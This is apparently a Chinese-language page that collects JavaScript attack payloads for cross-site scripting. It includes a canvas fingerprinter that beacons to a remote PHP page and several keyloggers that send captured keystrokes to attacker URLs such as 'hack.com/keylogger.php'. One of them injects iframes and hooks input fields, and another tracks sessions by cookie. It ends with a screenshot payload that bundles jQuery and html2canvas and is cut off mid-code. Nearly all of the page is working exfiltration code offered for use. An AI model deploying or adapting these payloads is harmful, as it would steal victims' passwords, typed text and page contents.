浏览器指纹
/* @CC_SKIP< */
if (typeof window.atob == 'undefined') {
function atob(a){
var b="",e,c,h="",f,g="",d=0;
k="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
do e=k.indexOf(a.charAt(d++)),c=k.indexOf(a.charAt(d++)),f=k.indexOf(a.charAt(d++)),g=k.indexOf(a.charAt(d++)),e=e<<2|c>>4,c=(c&15)<<4|f>>2,h=(f&3)<<6|g,b+=String.fromCharCode(e),64!=f&&(b+=String.fromCharCode(c)),64!=g&&(b+=String.fromCharCode(h));
while(d<a.length);
return unescape(b)
};
}/* @CC_SKIP> */
function bin2hex(a){
var b,c,d="",e;
a+="";
b=0;
for(c=a.length;b<c;b++)e=a.charCodeAt(b).toString(16),d+=2>e.length?"0"+e:e;
return d
}
function draw_canvas(){
var a=document.createElement("canvas");
a.setAttribute("width",220);
a.setAttribute("height",30);
var b=a.getContext("2d");
b.textBaseline="top";
b.font="14px 'Arial'";
b.textBaseline="alphabetic";
b.fillStyle="#f60";
b.fillRect(125,1,62,20);
b.fillStyle="#069";
b.fillText("BrowserLeaks,com <canvas> 1.0",2,15);
b.fillStyle="rgba(102, 204, 0, 0.7)";
b.fillText("BrowserLeaks,com <canvas> 1.0",4,17);
a=a.toDataURL("image/png");
b=atob(a.replace("data:image/png;base64,",""));
return bin2hex(b.slice(-16,-12))
}
var fingerprint = draw_canvas();
new Image().src = "http://wherever/fingerpint.php?fp="+fingerprint;
简单的键盘记录键盘
一个非常简单的键盘记录程序，可捕获击键并将其每秒发送到外部 php 页面。JS 和 PHP 代码在归档中提供。
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://hack.com/keylogger.php?c='+keys;
keys = '';
}, 1000);Javascript 键盘记录
一个先进的，提供妥协的主机的 IP 地址，并确定在哪个文本字段的内容类型，即使你从一个字段切换到另一个字段！ 发布压缩版本和服务器收集被盗击键：一个 Windows 二进制和一个 Python 脚本。 这个键盘记录器绝对是 JS 键盘记录的参考。
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;
function hookInputs() {
var frame = document.getElementById('overlayFrame');
var keyPressScript =
'<script>' +
'var l = Math.random().toString().substring(2);' +
'function relayKeyPress(e) {' +
'var fc = document.getElementById("frameContainer");' +
'var x = String.fromCharCode(e.keyCode);' +
'var y = String.fromCharCode(e.which);' +
'var k = e.keyCode ? x : y;' +
'var f = \'' + destination +
'\' + escape(k) + \',\' + ' +
'(e.srcElement ? e.srcElement.id : e.target.id) + ' +
'\',\' + l;' +
'fc.src = f;' +
'};' +
'</\x73cript>';
var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';
var sourceDoc = useClone ? frame.contentDocument : document;
var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;
html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');
document.clear();
document.write(html);
}
window.onload = function() {
if (destination == null) {
alert('destination not set');
return;
}
if (useClone) {
if (cloneSource == null) {
alert('cloneSource not set');
return;
}
document.body.innerHTML +=
'<iframe style="display:none;" id="overlayFrame" src="' +
cloneSource + '"></iframe>';
setTimeout("hookInputs()", cloneDelay);
}
else
hookInputs();
};会话感知键盘记录
感谢设置为 cookie 的 ID 的用户会话之后的键盘记录程序。捕获的数据存储在数据库中，其中包含与用户会话相关的信息，源 URL 等。
/*
* Dear all, this is a Keylogger designed by Victor Kabdebon in 2011
* To get the last version and more visit : http://www.voxnucleus.fr and/or http://www.victorkabdebon.com
*
* Bonjour a tous, voici un keylogger, fait par Victor Kabdebon en 2011
* Pour avoir la derniere version et bien plus, visitez : http://www.voxnucleus.fr and/or http://www.victorkabdebon.com
*
* License : GPL v2
* Version : 0.1
*/
/*
* Keylogger object
*/
function Keylogger(){
//Bufers
/*
* Configuration of the keylogger
******
* track_keys : True if one wants to track the key pressed
* track_mouse : True if one wants to track the movements of mouse
* track_clicks : true if one wants to track the click
* send_interval_s : interval to send the request to the server (in second)
* distant_server : address of the server
* cookie_name : Name of the cookie in the browser
* cookie_lifetime : Lifetime of the cookie in days
*/
this.keylog_configuration={
track_keys: true,
track_mouse: true,
track_clicks:true,
send_interval_s:10,
distant_server:'http://www.victorkabdebon.com/projects/keylogger/receiver.php5',
cookie_name:'keylog-cook',
cookie_lifetime:1
};
/*
* Function that generates a GUID (but not a strong one)
*/
this.S4=function() {
return (((1+Math.random())*0x10000)|0).toString(16).substring(1);
};
/*
* Constructor-like function
* Initialize elements to the right values
*/
this.begin=function(){
var guid_in_cookies;
var i,x,y,ARRcookies=document.cookie.split(";");
for (i=0;i<ARRcookies.length;i++)
{
x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
x=x.replace(/^\s+|\s+$/g,"");
if (x==this.keylog_configuration.cookie_name)
{
guid_in_cookies= unescape(y);
}
}
if(guid_in_cookies!=null && guid_in_cookies.length >0){
this.guid=guid_in_cookies;
}
else{
/* Create the GUID */
this.guid= (this.S4()+this.S4()+"-"+this.S4()+"-"+
this.S4()+"-"+this.S4()+"-"+this.S4()+
this.S4()+this.S4());
/* Cookie setup*/
var exdate = new Date();
var exdays = this.keylog_configuration.cookie_lifetime;
exdate.setDate(exdate.getDate() +exdays );
var c_value=escape(this.guid) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
document.cookie=this.keylog_configuration.cookie_name + "=" + c_value;
}
this.from_page=encodeURIComponent(window.location.href);
this.transfer_buffer();
//alert("Method had been called" + this.property1);
};
/*
* Insert a key
*/
this.insert_key=function(event){
var new_char='';
if(event.altKey){
new_char = '{{Alt}}';
}else if(event.ctrlKey){
new_char = '{{Ctrl}}';
}else if(event.shiftKey){
new_char = '{{Shift}}';
}
if(event.keyCode!=null){
if(event.keyCode){
new_char=new_char+this.decodeChar(event.keyCode);
}else{
new_char=new_char+this.decodeChar(event.charCode);
}
}
this.buffer_text_current=this.buffer_text_current+new_char;
};
/*
* Decode special characters.
*/
this.decodeChar=function(code){
var charac;
switch(code){
case 8:
charac='{{Backspace}}';
break;
case 9:
charac='{{Tab}}';
break;
case 13:
charac='{{Enter}}';
break;
case 33:
break;
case 37:
charac='{{<-}}';
break;
case 38:
charac='{{up}}';
break;
case 39:
charac='{{->}}';
break;
case 40:
charac='{{down}}';
break;
case 46:
charac='{{delete}}';
break;
case 91:
charac='{{leftWindow}}';
break;
case 92:
charac='{{rightWindow}}';
break;
case 154:
charac='{{PrtScreen}}';
break;
default:
charac=String.fromCharCode(code);
break;
}
return charac;
};
/*
*
*/
this.insert_click=function(event){
// Nothing at the moment
};
/*
*
*/
this.send_infos=function(){
var parameters='?frompage='+this.from_page;
parameters =parameters + '&guid='+this.guid;
parameters = parameters + '&text='+encodeURIComponent(this.buffer_text_to_send);
var address_to_call=this.keylog_configuration.distant_server+parameters;
//We just preload the image without actually inserting it
image01= new Image();
image01.src=address_to_call;
};
/*
* Swap values
*/
this.transfer_buffer=function(){
this.buffer_text_to_send=this.buffer_text_current;
this.buffer_text_current='';
this.send_infos();
var t = setTimeout('logger.transfer_buffer()',this.keylog_configuration.send_interval_s*1000);
};
this.buffer_text_current='[Begin session]',
this.buffer_text_to_send='',
//Important information
this.guid='UNDEFINED',
this.from_page='UNDEFINED';
}
var logger = new Keylogger();
/*
* Launch the logger
*/
function launch(){
logger.begin();
//binding for key pressed
if(logger.keylog_configuration.track_keys){
if (navigator.appName == 'Microsoft Internet Explorer')
{
document.body.attachEvent('onkeypress',process_key);
}else{
//Binding for everything but ie
document.addEventListener('keypress',process_key,false);
//document.body.setAttribute('onKeyPress','Keylogger.insert_key(event)');
}
}
//Binding for click
if(logger.keylog_configuration.track_clicks){
//Binding for everything but ie
//document.body.setAttribute('onclick','Keylogger.insert_click(event)');
}
}
function process_key(event){
logger.insert_key(event);
}JQuery 键盘记录键盘
一旦加载 jQuery，一行（长）会写一个键盘记录器。像往常一样，捕获的密钥在制作的 URL 的查询字符串中发送。 在许多情况下可能有用。
$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});HTML5 截图
HTML5 Canvas 允许您快速渲染（客户端）客户端浏览器的精确截图，并使用 Ajax 将其返回给攻击者控制的服务器。这个有效载荷的目的是做一个截图，并悄悄地发送到一个 PHP 文件（在档案中可用），将其存储到一个不错的 PNG 文件。 该有效负载将几个 JS 组件（JQuery，HTMLCanvas
JQueryHTMLCanvas 插件）合并为一个单独的（巨大的）文件。
// URL: http://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas
if (typeof vx === 'undefined') {
// The destination to POST the screenshot to - change it here
var postDest = 'saveshot.php';
var vx = 'ok';
/*! jQuery v1.7.1 jquery.com | jquery.org/license */
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f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in 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d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=[],j,k,l,m,n,o,p,q,r,s,t;g[0]=c,c.delegateTarget=this;if(e&&!c.target.disabled&&(!c.button||c.type!=="click")){m=f(this),m.context=this.ownerDocument||this;for(l=c.target;l!=this;l=l.parentNode||this){o={},q=[],m[0]=l;for(j=0;j<e;j++)r=d[j],s=r.selector,o[s]===b&&(o[s]=r.quick?H(l,r.quick):m.is(s)),o[s]&&q.push(r);q.length&&i.push({elem:l,matches:q})}}d.length>e&&i.push({elem:this,matches:d.slice(e)});for(j=0;j<i.length&&!c.isPropagationStopped();j++){p=i[j],c.currentTarget=p.elem;for(k=0;k<p.matches.length&&!c.isImmediatePropagationStopped();k++){r=p.matches[k];if(h||!c.namespace&&!r.namespace||c.namespace_re&&c.namespace_re.test(r.namespace))c.data=r.data,c.handleObj=r,n=((f.event.special[r.origType]||{}).handle||r.handler).apply(p.elem,g),n!==b&&(c.result=n,n===!1&&(c.preventDefault(),c.stopPropagation()))}}return c.result},props:"attrChange attrName relatedNode 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e=this,g=f.fx;this.startTime=cr||cs(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){e.options.hide&&f._data(e.elem,"fxshow"+e.prop)===b&&f._data(e.elem,"fxshow"+e.prop,e.start)},h()&&f.timers.push(h)&&!cp&&(cp=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cr||cs(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(cp),cp=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(["width","height"],function(a,b){f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)}}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?f.fn.offset=function(a){var b=this[0],c;if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);try{c=b.getBoundingClientRect()}catch(d){}var e=b.ownerDocument,g=e.documentElement;if(!c||!f.contains(g,b))return c?{top:c.top,left:c.left}:{top:0,left:0};var h=e.body,i=cy(e),j=g.clientTop||h.clientTop||0,k=g.clientLeft||h.clientLeft||0,l=i.pageYOffset||f.support.boxModel&&g.scrollTop||h.scrollTop,m=i.pageXOffset||f.support.boxModel&&g.scrollLeft||h.scrollLeft,n=c.top+l-j,o=c.left+m-k;return{top:n,left:o}}:f.fn.offset=function(a){var b=this[0];if(a)return this.each(function(b){f.offset.setOffset(this,a,b)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return f.offset.bodyOffset(b);var c,d=b.offsetParent,e=b,g=b.ownerDocument,h=g.documentElement,i=g.body,j=g.defaultView,k=j?j.getComputedStyle(b,null):b.currentStyle,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)&&b!==i&&b!==h){if(f.support.fixedPosition&&k.position==="fixed")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d&&(l+=b.offsetTop,m+=b.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(b.nodeName))&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),e=d,d=b.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&c.overflow!=="visible"&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),k=c}if(k.position==="relative"||k.position==="static")l+=i.offsetTop,m+=i.offsetLeft;f.support.fixedPosition&&k.position==="fixed"&&(l+=Math.max(h.scrollTop,i.scrollTop),m+=Math.max(h.scrollLeft,i.scrollLeft));return{top:l,left:m}},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window);
/**
@license html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
(function(window, document, undefined){
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
var html2canvas = {};
html2canvas.logging = false;
function h2clog(a) {
if (html2canvas.logging && window.console && window.console.log) {
window.console.log(a);
}
}
html2canvas.log = h2clog; // for compatibility with the jquery plugin
html2canvas.Util = {};
html2canvas.Util.backgroundImage = function (src) {
if (/data:image\/.*;base64,/i.test( src ) || /^(-webkit|-moz|linear-gradient|-o-)/.test( src )) {
return src;
}
if (src.toLowerCase().substr( 0, 5 ) === 'url("') {
src = src.substr( 5 );
src = src.substr( 0, src.length - 2 );
} else {
src = src.substr( 4 );
src = src.substr( 0, src.length - 1 );
}
return src;
};
html2canvas.Util.Bounds = function getBounds (el) {
var clientRect,
bounds = {};
if (el.getBoundingClientRect){
clientRect = el.getBoundingClientRect();
// TODO add scroll position to bounds, so no scrolling of window necessary
bounds.top = clientRect.top;
bounds.bottom = clientRect.bottom || (clientRect.top + clientRect.height);
bounds.left = clientRect.left;
// older IE doesn't have width/height, but top/bottom instead
bounds.width = clientRect.width || (clientRect.right - clientRect.left);
bounds.height = clientRect.height || (clientRect.bottom - clientRect.top);
return bounds;
} /*else{
p = $(el).offset();
return {
left: p.left + getCSS(el,"borderLeftWidth", true),
top: p.top + getCSS(el,"borderTopWidth", true),
width:$(el).innerWidth(),
height:$(el).innerHeight()
};
} */
}
html2canvas.Util.getCSS = function (el, attribute) {
// return jQuery(el).css(attribute);
/*
var val,
left,
rsLeft = el.runtimeStyle && el.runtimeStyle[ attribute ],
style = el.style;
if ( el.currentStyle ) {
val = el.currentStyle[ attribute ];
} else if (window.getComputedStyle) {
val = document.defaultView.getComputedStyle(el, null)[ attribute ];
}
*/
// Check if we are not dealing with pixels, (Opera has issues with this)
// Ported from jQuery css.js
// From the awesome hack by Dean Edwards
// http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
// If we're not dealing with a regular pixel number
// but a number that has a weird ending, we need to convert it to pixels
// if ( !/^-?\d+(?:px)?$/i.test( val ) && /^-?\d/.test( val ) ) {
/*
// Remember the original values
left = style.left;
// Put in the new values to get a computed value out
if ( rsLeft ) {
el.runtimeStyle.left = el.currentStyle.left;
}
style.left = attribute === "fontSize" ? "1em" : (val || 0);
val = style.pixelLeft + "px";
// Revert the changed values
style.left = left;
if ( rsLeft ) {
el.runtimeStyle.left = rsLeft;
}*/
// val = $(el).css(attribute);
// }
/*
var val = $(el).css(attribute);
if (val === "medium") {
val = 3;
}*/
return $(el).css(attribute);
};
html2canvas.Util.Extend = function (options, defaults) {
var key;
for (key in options) {
if (options.hasOwnProperty(key)) {
defaults[key] = options[key];
}
}
return defaults;
};
html2canvas.Util.Children = function(el) {
// $(el).contents() !== el.childNodes, Opera / IE have issues with that
var children;
try {
children = $(el).contents();
} catch (ex) {
h2clog("html2canvas.Util.Children failed with exception: " + ex.message);
children = [];
}
return children;
};
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
html2canvas.Generate = {};
html2canvas.Generate.Gradient = function(src, bounds) {
var canvas = document.createElement('canvas'),
ctx = canvas.getContext('2d'),
tmp,
p0 = 0,
p1 = 0,
p2 = 0,
p3 = 0,
steps = [],
position,
i,
len,
lingrad,
increment,
p,
img;
canvas.width = bounds.width;
canvas.height = bounds.height;
function getColors(input) {
var j = -1,
color = '',
chr;
while( j++ < input.length ) {
chr = input.charAt( j );
if (chr === ')') {
color += chr;
steps.push( color );
color = '';
while (j++ < input.length && input.charAt( j ) !== ',') {
}
} else {
color += chr;
}
}
}
if ( tmp = src.match(/-webkit-linear-gradient\((.*)\)/) ) {
position = tmp[1].split( ",", 1 )[0];
getColors( tmp[1].substr( position.length + 2 ) );
position = position.split(' ');
for (p = 0; p < position.length; p+=1) {
switch(position[p]) {
case 'top':
p3 = bounds.height;
break;
case 'right':
p0 = bounds.width;
break;
case 'bottom':
p1 = bounds.height;
break;
case 'left':
p2 = bounds.width;
break;
}
}
} else if (tmp = src.match(/-webkit-gradient\(linear, (\d+)[%]{0,1} (\d+)[%]{0,1}, (\d+)[%]{0,1} (\d+)[%]{0,1}, from\((.*)\), to\((.*)\)\)/)) {
p0 = (tmp[1] * bounds.width) / 100;
p1 = (tmp[2] * bounds.height) / 100;
p2 = (tmp[3] * bounds.width) / 100;
p3 = (tmp[4] * bounds.height) / 100;
steps.push(tmp[5]);
steps.push(tmp[6]);
} else if (tmp = src.match(/-moz-linear-gradient\((\d+)[%]{0,1} (\d+)[%]{0,1}, (.*)\)/)) {
p0 = (tmp[1] * bounds.width) / 100;
p1 = (tmp[2] * bounds.width) / 100;
p2 = bounds.width - p0;
p3 = bounds.height - p1;
getColors( tmp[3] );
} else {
return;
}
lingrad = ctx.createLinearGradient( p0, p1, p2, p3 );
increment = 1 / (steps.length - 1);
for (i = 0, len = steps.length; i < len; i+=1) {
try {
lingrad.addColorStop(increment * i, steps[i]);
}
catch(e) {
h2clog(['failed to add color stop: ', e, '; tried to add: ', steps[i], '; stop: ', i, '; in: ', src]);
}
}
ctx.fillStyle = lingrad;
// draw shapes
ctx.fillRect(0, 0, bounds.width,bounds.height);
img = new Image();
img.src = canvas.toDataURL();
return img;
}
html2canvas.Generate.ListAlpha = function(number) {
var tmp = "",
modulus;
do {
modulus = number % 26;
tmp = String.fromCharCode((modulus) + 64) + tmp;
number = number / 26;
}while((number*26) > 26);
return tmp;
}
html2canvas.Generate.ListRoman = function(number) {
var romanArray = ["M", "CM", "D", "CD", "C", "XC", "L", "XL", "X", "IX", "V", "IV", "I"],
decimal = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1],
roman = "",
v,
len = romanArray.length;
if (number <= 0 || number >= 4000) {
return number;
}
for (v=0; v < len; v+=1) {
while (number >= decimal[v]) {
number -= decimal[v];
roman += romanArray[v];
}
}
return roman;
}
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
/*
* New function for traversing elements
*/
html2canvas.Parse = function (element, images, opts) {
window.scroll(0,0);
opts = opts || {};
// select body by default
if (element === undefined) {
element = document.body;
}
var support = {
rangeBounds: false
},
options = {
iframeDefault: "default",
ignoreElements: "IFRAME|OBJECT|PARAM",
useOverflow: true,
letterRendering: false
},
needReorder = false,
numDraws = 0,
fontData = {},
doc = element.ownerDocument,
ignoreElementsRegExp = new RegExp("(" + options.ignoreElements + ")"),
body = doc.body,
r,
testElement,
rangeBounds,
rangeHeight,
stack,
ctx,
docDim,
i,
children,
childrenLen;
options = html2canvas.Util.Extend(opts, options);
images = images || {};
// Test whether we can use ranges to measure bounding boxes
// Opera doesn't provide valid bounds.height/bottom even though it supports the method.
if (doc.createRange) {
r = doc.createRange();
//this.support.rangeBounds = new Boolean(r.getBoundingClientRect);
if (r.getBoundingClientRect){
testElement = doc.createElement('boundtest');
testElement.style.height = "123px";
testElement.style.display = "block";
body.appendChild(testElement);
r.selectNode(testElement);
rangeBounds = r.getBoundingClientRect();
rangeHeight = rangeBounds.height;
if (rangeHeight === 123) {
support.rangeBounds = true;
}
body.removeChild(testElement);
}
}
/*
var rootStack = new this.storageContext($(document).width(),$(document).height());
rootStack.opacity = this.getCSS(this.element,"opacity");
var stack = this.newElement(this.element,rootStack);
this.parseElement(this.element,stack);
*/
function docSize(){
return {
width: Math.max(
Math.max(doc.body.scrollWidth, doc.documentElement.scrollWidth),
Math.max(doc.body.offsetWidth, doc.documentElement.offsetWidth),
Math.max(doc.body.clientWidth, doc.documentElement.clientWidth)
),
height: Math.max(
Math.max(doc.body.scrollHeight, doc.documentElement.scrollHeight),
Math.max(doc.body.offsetHeight, doc.documentElement.offsetHeight),
Math.max(doc.body.clientHeight, doc.documentElement.clientHeight)
)
};
}
var getCSS = html2canvas.Util.getCSS;
function getCSSInt(element, attribute) {
var val = parseInt(getCSS(element, attribute), 10);
return (isNaN(val)) ? 0 : val; // borders in old IE are throwing 'medium' for demo.html
}
// Drawing a rectangle
function renderRect (ctx, x, y, w, h, bgcolor) {
if (bgcolor !=="transparent"){
ctx.setVariable("fillStyle", bgcolor);
ctx.fillRect (x, y, w, h);
numDraws+=1;
}
}
function textTransform (text, transform) {
switch(transform){
case "lowercase":
return text.toLowerCase();
case "capitalize":
return text.replace( /(^|\s|:|-|\(|\))([a-z])/g , function (m, p1, p2) {
if (m.length > 0) {
return p1 + p2.toUpperCase();
}
} );
case "uppercase":
return text.toUpperCase();
default:
return text;
}
}
function trimText (text) {
return text.replace(/^\s*/g, "").replace(/\s*$/g, "");
}
function fontMetrics (font, fontSize) {
if (fontData[font + "-" + fontSize] !== undefined) {
return fontData[font + "-" + fontSize];
}
var container = doc.createElement('div'),
img = doc.createElement('img'),
span = doc.createElement('span'),
baseline,
middle,
metricsObj;
container.style.visibility = "hidden";
container.style.fontFamily = font;
container.style.fontSize = fontSize;
container.style.margin = 0;
container.style.padding = 0;
body.appendChild(container);
// http://probablyprogramming.com/2009/03/15/the-tiniest-gif-ever (handtinywhite.gif)
img.src = "data:image/gif;base64,R0lGODlhAQABAIABAP///wAAACwAAAAAAQABAAACAkQBADs=";
img.width = 1;
img.height = 1;
img.style.margin = 0;
img.style.padding = 0;
img.style.verticalAlign = "baseline";
span.style.fontFamily = font;
span.style.fontSize = fontSize;
span.style.margin = 0;
span.style.padding = 0;
span.appendChild(doc.createTextNode('Hidden Text'));
container.appendChild(span);
container.appendChild(img);
baseline = (img.offsetTop - span.offsetTop) + 1;
container.removeChild(span);
container.appendChild(doc.createTextNode('Hidden Text'));
container.style.lineHeight = "normal";
img.style.verticalAlign = "super";
middle = (img.offsetTop-container.offsetTop) + 1;
metricsObj = {
baseline: baseline,
lineWidth: 1,
middle: middle
};
fontData[font + "-" + fontSize] = metricsObj;
body.removeChild(container);
return metricsObj;
}
function drawText(currentText, x, y, ctx){
if (trimText(currentText).length>0) {
ctx.fillText(currentText,x,y);
numDraws+=1;
}
}
function renderText(el, textNode, stack) {
var ctx = stack.ctx,
family = getCSS(el, "fontFamily"),
size = getCSS(el, "fontSize"),
color = getCSS(el, "color"),
text_decoration = getCSS(el, "textDecoration"),
text_align = getCSS(el, "textAlign"),
letter_spacing = getCSS(el, "letterSpacing"),
bounds,
text,
metrics,
renderList,
bold = getCSS(el, "fontWeight"),
font_style = getCSS(el, "fontStyle"),
font_variant = getCSS(el, "fontVariant"),
align = false,
newTextNode,
textValue,
textOffset = 0,
oldTextNode,
c,
range,
parent,
wrapElement,
backupText;
// apply text-transform:ation to the text
textNode.nodeValue = textTransform(textNode.nodeValue, getCSS(el, "textTransform"));
text = trimText(textNode.nodeValue);
if (text.length>0){
if (text_decoration !== "none"){
metrics = fontMetrics(family, size);
}
text_align = text_align.replace(["-webkit-auto"],["auto"]);
if (options.letterRendering === false && /^(left|right|justify|auto)$/.test(text_align) && /^(normal|none)$/.test(letter_spacing)){
// this.setContextVariable(ctx,"textAlign",text_align);
renderList = textNode.nodeValue.split(/(\b| )/);
}else{
// this.setContextVariable(ctx,"textAlign","left");
renderList = textNode.nodeValue.split("");
}
switch(parseInt(bold, 10)){
case 401:
bold = "bold";
break;
case 400:
bold = "normal";
break;
}
ctx.setVariable("fillStyle", color);
/*
need to be defined in the order as defined in http://www.w3.org/TR/CSS21/fonts.html#font-shorthand
to properly work in Firefox
*/
ctx.setVariable("font", font_style+ " " + font_variant + " " + bold + " " + size + " " + family);
if (align){
ctx.setVariable("textAlign", "right");
}else{
ctx.setVariable("textAlign", "left");
}
/*
if (stack.clip){
